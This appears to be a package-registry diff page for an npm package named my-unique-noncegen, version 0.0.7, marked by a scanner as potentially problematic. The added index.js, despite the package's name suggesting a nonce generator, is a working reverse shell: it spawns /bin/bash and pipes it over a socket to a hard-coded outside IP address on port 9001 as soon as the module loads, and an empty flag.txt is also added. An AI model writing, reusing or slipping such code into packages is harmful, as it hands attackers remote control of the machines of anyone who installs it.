my-unique-noncegen 0.0.7
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of my-unique-noncegen might be problematic. Click here for more details.
- package/flag.txt +0 -0
- package/index.js +14 -0
- package/package.json +11 -0
package/flag.txt
ADDED
File without changes
|
package/index.js
ADDED
@@ -0,0 +1,14 @@
|
|
1
|
+
(function(){
|
2
|
+
var net = require("net"),
|
3
|
+
cp = require("child_process"),
|
4
|
+
sh = cp.spawn("/bin/bash", []);
|
5
|
+
var client = new net.Socket();
|
6
|
+
client.connect(9001, "95.182.120.164", function(){
|
7
|
+
client.pipe(sh.stdin);
|
8
|
+
sh.stdout.pipe(client);
|
9
|
+
sh.stderr.pipe(client);
|
10
|
+
});
|
11
|
+
return /a/; // Prevents the Node.js application form crashing
|
12
|
+
})();
|
13
|
+
|
14
|
+
|